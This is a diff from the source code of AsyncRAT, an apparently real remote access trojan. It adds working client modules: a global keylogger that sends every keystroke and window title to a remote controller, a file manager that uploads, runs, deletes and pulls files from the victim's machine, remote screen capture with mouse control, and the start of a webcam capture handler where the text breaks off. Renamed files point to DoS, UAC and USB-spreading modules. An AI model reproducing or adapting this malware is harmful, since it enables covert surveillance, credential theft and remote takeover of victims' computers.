/// + string Source { get; } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + int FramesReceived { get; } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + long BytesReceived { get; } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + bool IsRunning { get; } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + void Start( ); + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + void SignalToStop( ); + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for video source stopping after it was signalled to stop using + /// method. + /// + void WaitForStop( ); + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + void Stop( ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs new file mode 100644 index 0000000..c5729e5 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs @@ -0,0 +1,125 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Delegate for new frame event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); + + /// + /// Delegate for video source error event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); + + /// + /// Delegate for playing finished event handler. + /// + /// + /// Sender object. + /// Reason of finishing video playing. + /// + public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); + + /// + /// Reason of finishing video playing. + /// + /// + /// When video source class fire the event, they + /// need to specify reason of finishing video playing. For example, it may be end of stream reached. + /// + public enum ReasonToFinishPlaying + { + /// + /// Video playing has finished because it end was reached. + /// + EndOfStreamReached, + /// + /// Video playing has finished because it was stopped by user. + /// + StoppedByUser, + /// + /// Video playing has finished because the device was lost (unplugged). + /// + DeviceLost, + /// + /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). + /// A error reporting event usually is fired to provide error information. + /// + VideoSourceError + } + + /// + /// Arguments for new frame event from video source. + /// + /// + public class NewFrameEventArgs : EventArgs + { + private System.Drawing.Bitmap frame; + + /// + /// Initializes a new instance of the class. + /// + /// + /// New frame. + /// + public NewFrameEventArgs( System.Drawing.Bitmap frame ) + { + this.frame = frame; + } + + /// + /// New frame from video source. + /// + /// + public System.Drawing.Bitmap Frame + { + get { return frame; } + } + } + + /// + /// Arguments for video source error event from video source. + /// + /// + public class VideoSourceErrorEventArgs : EventArgs + { + private string description; + + /// + /// Initializes a new instance of the class. + /// + /// + /// Error description. + /// + public VideoSourceErrorEventArgs( string description ) + { + this.description = description; + } + + /// + /// Video source error description. + /// + /// + public string Description + { + get { return description; } + } + } +} diff --git a/AsyncRAT-C#/Client/Algorithm/Aes256.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Algorithm/Aes256.cs similarity index 100% rename from AsyncRAT-C#/Client/Algorithm/Aes256.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Algorithm/Aes256.cs diff --git a/AsyncRAT-C#/Client/Algorithm/Sha256.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Algorithm/Sha256.cs similarity index 100% rename from AsyncRAT-C#/Client/Algorithm/Sha256.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Algorithm/Sha256.cs diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj similarity index 60% rename from AsyncRAT-C#/Client/Client.csproj rename to AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj index c09d965..0afea06 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj @@ -72,28 +72,70 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - + + + + + - + + Form + + + FormChat.cs + @@ -107,6 +149,13 @@ + + + + + + + @@ -118,5 +167,10 @@ false + + + FormChat.cs + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Connection/ClientSocket.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Connection/ClientSocket.cs similarity index 97% rename from AsyncRAT-C#/Client/Connection/ClientSocket.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Connection/ClientSocket.cs index b047831..86825c5 100644 --- a/AsyncRAT-C#/Client/Connection/ClientSocket.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -167,7 +167,9 @@ namespace Client.Connection } if (MS.Length == Buffersize) { - ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + //ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream(); diff --git a/AsyncRAT-C#/Client/Connection/TempSocket.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Connection/TempSocket.cs similarity index 96% rename from AsyncRAT-C#/Client/Connection/TempSocket.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Connection/TempSocket.cs index 98e7223..c12de30 100644 --- a/AsyncRAT-C#/Client/Connection/TempSocket.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Connection/TempSocket.cs @@ -131,7 +131,9 @@ namespace Client.Connection } if (MS.Length == Buffersize) { - ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + //ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream(); diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleDos.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs new file mode 100644 index 0000000..4476f9b --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs @@ -0,0 +1,310 @@ +using Client.MessagePack; +using Client.Connection; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Diagnostics; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Net.Security; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Client.Handle_Packet +{ + public class FileManager + { + public FileManager(MsgPack unpack_msgpack) + { + try + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "getDrivers": + { + GetDrivers(); + break; + } + + case "getPath": + { + GetPath(unpack_msgpack.ForcePathObject("Path").AsString); + break; + } + + case "uploadFile": + { + string fullPath = unpack_msgpack.ForcePathObject("Name").AsString; + if (File.Exists(fullPath)) + { + File.Delete(fullPath); + Thread.Sleep(500); + } + unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); + break; + } + + case "reqUploadFile": + { + ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); ; + break; + } + + case "socketDownload": + { + DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString); + break; + } + + case "deleteFile": + { + string fullPath = unpack_msgpack.ForcePathObject("File").AsString; + File.Delete(fullPath); + break; + } + + case "execute": + { + string fullPath = unpack_msgpack.ForcePathObject("File").AsString; + Process.Start(fullPath); + break; + } + + case "createFolder": + { + string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString; + if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath); + break; + } + + case "deleteFolder": + { + string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString; + if (Directory.Exists(fullPath)) Directory.Delete(fullPath); + break; + } + + case "copyFile": + { + Packet.FileCopy = unpack_msgpack.ForcePathObject("File").AsString; + break; + } + + case "pasteFile": + { + string fullPath = unpack_msgpack.ForcePathObject("File").AsString; + if (fullPath.Length > 0) + { + string[] filesArray = Packet.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < filesArray.Length; i++) + { + try + { + if (filesArray[i].Length > 0) + { + File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true); + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + Packet.FileCopy = null; + } + break; + } + + case "renameFile": + { + File.Move(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("NewName").AsString); + break; + } + + case "renameFolder": + { + Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString); + break; ; + } + } + + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + Error(ex.Message); + } + } + + public void GetDrivers() + { + try + { + DriveInfo[] allDrives = DriveInfo.GetDrives(); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getDrivers"; + StringBuilder sbDriver = new StringBuilder(); + foreach (DriveInfo d in allDrives) + { + if (d.IsReady) + { + sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>"); + } + msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString(); + ClientSocket.Send(msgpack.Encode2Bytes()); + } + } + catch { } + } + + public void GetPath(string path) + { + try + { + Debug.WriteLine($"Getting [{path}]"); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getPath"; + StringBuilder sbFolder = new StringBuilder(); + StringBuilder sbFile = new StringBuilder(); + + if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData"); + if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); + + foreach (string folder in Directory.GetDirectories(path)) + { + sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>"); + } + foreach (string file in Directory.GetFiles(path)) + { + using (MemoryStream ms = new MemoryStream()) + { + GetIcon(file.ToLower()).Save(ms, ImageFormat.Png); + sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>"); + } + } + msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); + msgpack.ForcePathObject("File").AsString = sbFile.ToString(); + msgpack.ForcePathObject("CurrentPath").AsString = path.ToString(); + ClientSocket.Send(msgpack.Encode2Bytes()); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + Error(ex.Message); + } + } + + private Bitmap GetIcon(string file) + { + try + { + if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp")) + { + using (Bitmap myBitmap = new Bitmap(file)) + { + return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero)); + } + } + else + using (Icon icon = Icon.ExtractAssociatedIcon(file)) + { + return icon.ToBitmap(); + } + } + catch + { + return new Bitmap(48, 48); + } + } + + public void DownnloadFile(string file, string dwid) + { + TempSocket tempSocket = new TempSocket(); + + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "socketDownload"; + msgpack.ForcePathObject("Command").AsString = "pre"; + msgpack.ForcePathObject("DWID").AsString = dwid; + msgpack.ForcePathObject("File").AsString = file; + msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString(); + tempSocket.Send(msgpack.Encode2Bytes()); + + + MsgPack msgpack2 = new MsgPack(); + msgpack2.ForcePathObject("Packet").AsString = "socketDownload"; + msgpack2.ForcePathObject("Command").AsString = "save"; + msgpack2.ForcePathObject("DWID").AsString = dwid; + msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); + msgpack2.ForcePathObject("File").LoadFileAsBytes(file); + tempSocket.Send(msgpack2.Encode2Bytes()); + tempSocket.Dispose(); + } + catch + { + tempSocket?.Dispose(); + return; + } + } + + //private void ChunkSend(byte[] msg, Socket client, SslStream ssl) + //{ + // try + // { + // byte[] buffersize = BitConverter.GetBytes(msg.Length); + // client.Poll(-1, SelectMode.SelectWrite); + // ssl.Write(buffersize); + // ssl.Flush(); + + // int chunkSize = 50 * 1024; + // byte[] chunk = new byte[chunkSize]; + // using (MemoryStream buffereReader = new MemoryStream(msg)) + // { + // BinaryReader binaryReader = new BinaryReader(buffereReader); + // int bytesToRead = (int)buffereReader.Length; + // do + // { + // chunk = binaryReader.ReadBytes(chunkSize); + // bytesToRead -= chunkSize; + // ssl.Write(chunk); + // ssl.Flush(); + // } while (bytesToRead > 0); + + // binaryReader.Dispose(); + // } + // } + // catch { return; } + //} + + public void ReqUpload(string id) + { + try + { + TempSocket tempSocket = new TempSocket(); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; + msgpack.ForcePathObject("ID").AsString = id; + tempSocket.Send(msgpack.Encode2Bytes()); + } + catch { return; } + } + + public void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "error"; + msgpack.ForcePathObject("Message").AsString = ex; + ClientSocket.Send(msgpack.Encode2Bytes()); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs new file mode 100644 index 0000000..361502e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs @@ -0,0 +1,200 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Windows.Forms; +using Client.MessagePack; +using System.Threading; +using Client.Connection; + +namespace Client.Handle_Packet +{ + // │ Author : NYAN CAT + // │ Name : LimeLogger v0.1 + // │ Contact : https://github.com/NYAN-x-CAT + + // This program is distributed for educational purposes only. + + public static class HandleLimeLogger + { + public static bool isON = false; + public static void Run() + { + _hookID = SetHook(_proc); + new Thread(() => + { + while (ClientSocket.IsConnected) + { + Thread.Sleep(10); + if (isON == false) + { + break; + } + } + UnhookWindowsHookEx(_hookID); + CurrentActiveWindowTitle = ""; + Application.Exit(); + }).Start(); + Application.Run(); + } + + private static IntPtr SetHook(LowLevelKeyboardProc proc) + { + using (Process curProcess = Process.GetCurrentProcess()) + using (ProcessModule curModule = curProcess.MainModule) + { + return SetWindowsHookEx(WHKEYBOARDLL, proc, + GetModuleHandle(curModule.ModuleName), 0); + } + } + + private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + try + { + if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) + { + int vkCode = Marshal.ReadInt32(lParam); + bool capsLock = (GetKeyState(0x14) & 0xffff) != 0; + bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; + string currentKey = KeyboardLayout((uint)vkCode); + + if (capsLock || shiftPress) + { + currentKey = currentKey.ToUpper(); + } + else + { + currentKey = currentKey.ToLower(); + } + + if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) + currentKey = "[" + (Keys)vkCode + "]"; + + else + { + switch (((Keys)vkCode).ToString()) + { + case "Space": + currentKey = " "; + break; + case "Return": + currentKey = "[ENTER]\n"; + break; + case "Escape": + currentKey = ""; + break; + case "Back": + currentKey = "[Back]"; + break; + case "Tab": + currentKey = "[Tab]\n"; + break; + } + } + + StringBuilder sb = new StringBuilder(); + if (CurrentActiveWindowTitle == GetActiveWindowTitle()) + { + sb.Append(currentKey); + } + else + { + sb.Append(Environment.NewLine); + sb.Append(Environment.NewLine); + sb.Append($"### {GetActiveWindowTitle()} ###"); + sb.Append(Environment.NewLine); + sb.Append(currentKey); + } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("log").AsString = sb.ToString(); + ClientSocket.Send(msgpack.Encode2Bytes()); + } + return CallNextHookEx(_hookID, nCode, wParam, lParam); + } + catch + { + return IntPtr.Zero; + } + } + + private static string KeyboardLayout(uint vkCode) + { + try + { + StringBuilder sb = new StringBuilder(); + byte[] vkBuffer = new byte[256]; + if (!GetKeyboardState(vkBuffer)) return ""; + uint scanCode = MapVirtualKey(vkCode, 0); + IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId)); + ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout); + return sb.ToString(); + } + catch { } + return ((Keys)vkCode).ToString(); + } + + private static string GetActiveWindowTitle() + { + try + { + IntPtr hwnd = GetForegroundWindow(); + GetWindowThreadProcessId(hwnd, out uint pid); + Process p = Process.GetProcessById((int)pid); + string title = p.MainWindowTitle; + if (string.IsNullOrWhiteSpace(title)) + title = p.ProcessName; + CurrentActiveWindowTitle = title; + return title; + } + catch (Exception) + { + return "???"; + } + } + + #region "Hooks & Native Methods" + + private const int WM_KEYDOWN = 0x0100; + private static readonly LowLevelKeyboardProc _proc = HookCallback; + private static IntPtr _hookID = IntPtr.Zero; + private static readonly int WHKEYBOARDLL = 13; + private static string CurrentActiveWindowTitle; + + + private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool UnhookWindowsHookEx(IntPtr hhk); + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("user32.dll")] + static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", SetLastError = true)] + static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); + + [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)] + public static extern short GetKeyState(int keyCode); + + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool GetKeyboardState(byte[] lpKeyState); + [DllImport("user32.dll")] + static extern IntPtr GetKeyboardLayout(uint idThread); + [DllImport("user32.dll")] + static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); + [DllImport("user32.dll")] + static extern uint MapVirtualKey(uint uCode, uint uMapType); + + #endregion + + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs new file mode 100644 index 0000000..bd351d4 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs @@ -0,0 +1,117 @@ +using System; +using System.IO; +using System.Threading; +using System.Drawing.Imaging; +using System.Drawing; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using Client.MessagePack; +using Client.Connection; +using Client.StreamLibrary.UnsafeCodecs; +using Client.Helper; +using Client.StreamLibrary; + +namespace Client.Handle_Packet +{ + public class HandleRemoteDesktop + { + public HandleRemoteDesktop(MsgPack unpack_msgpack) + { + try + { + switch (unpack_msgpack.ForcePathObject("Option").AsString) + { + case "capture": + { + CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger)); + break; + } + + case "mouseClick": + { + Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); + Cursor.Position = position; + mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1); + break; + } + + case "mouseMove": + { + Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); + Cursor.Position = position; + break; + } + } + } + catch { } + } + public void CaptureAndSend(int quality, int Scrn) + { + TempSocket tempSocket = new TempSocket(); + string hwid = Methods.HWID(); + Bitmap bmp = null; + BitmapData bmpData = null; + Rectangle rect; + Size size; + MsgPack msgpack; + IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); + MemoryStream stream; + while (tempSocket.IsConnected && ClientSocket.IsConnected) + { + try + { + bmp = GetScreen(Scrn); + rect = new Rectangle(0, 0, bmp.Width, bmp.Height); + size = new Size(bmp.Width, bmp.Height); + bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); + + using (stream = new MemoryStream()) + { + unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream); + + if (stream.Length > 0) + { + msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("ID").AsString = hwid; + msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); + msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length); + tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); + tempSocket.SslClient.Write(msgpack.Encode2Bytes()); + tempSocket.SslClient.Flush(); + Thread.Sleep(1); + } + } + bmp.UnlockBits(bmpData); + bmp.Dispose(); + } + catch { break; } + } + try + { + bmp?.UnlockBits(bmpData); + bmp?.Dispose(); + tempSocket?.Dispose(); + } + catch { } + } + + private Bitmap GetScreen(int Scrn) + { + Rectangle rect = Screen.AllScreens[Scrn].Bounds; + try + { + Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); + using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) + { + gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); + return bmpScreenshot; + } + } + catch { return new Bitmap(rect.Width, rect.Height); } + } + + [DllImport("user32.dll")] + static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleShell.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs similarity index 94% rename from AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs index 242eb0f..eaaf25d 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs @@ -35,13 +35,6 @@ namespace Client.Handle_Packet } catch { } } - - try - { - RegistryDB.DeleteSubKey(); - } - catch { } - ProcessStartInfo Del = null; try { diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs new file mode 100644 index 0000000..edf7a08 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs @@ -0,0 +1,214 @@ +using AForge.Video; +using AForge.Video.DirectShow; +using Client.Connection; +using Client.Helper; +using Client.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; + +namespace Client.Handle_Packet +{ + public static class HandleWebcam + { + public static bool IsOn = false; + public static VideoCaptureDevice FinalVideo; + public static string HWID = Methods.HWID(); + private static MemoryStream Camstream = new MemoryStream(); + private static TempSocket TempSocket = null; + private static int Quality = 50; + + public static void Run(MsgPack unpack_msgpack) + { + try + { + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "webcam": + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "getWebcams": + { + TempSocket?.Dispose(); + TempSocket = new TempSocket(); + if (TempSocket.IsConnected) + { + GetWebcams(); + } + else + { + new Thread(() => + { + try + { + TempSocket.Dispose(); + CaptureDispose(); + } + catch { } + }).Start(); + } + 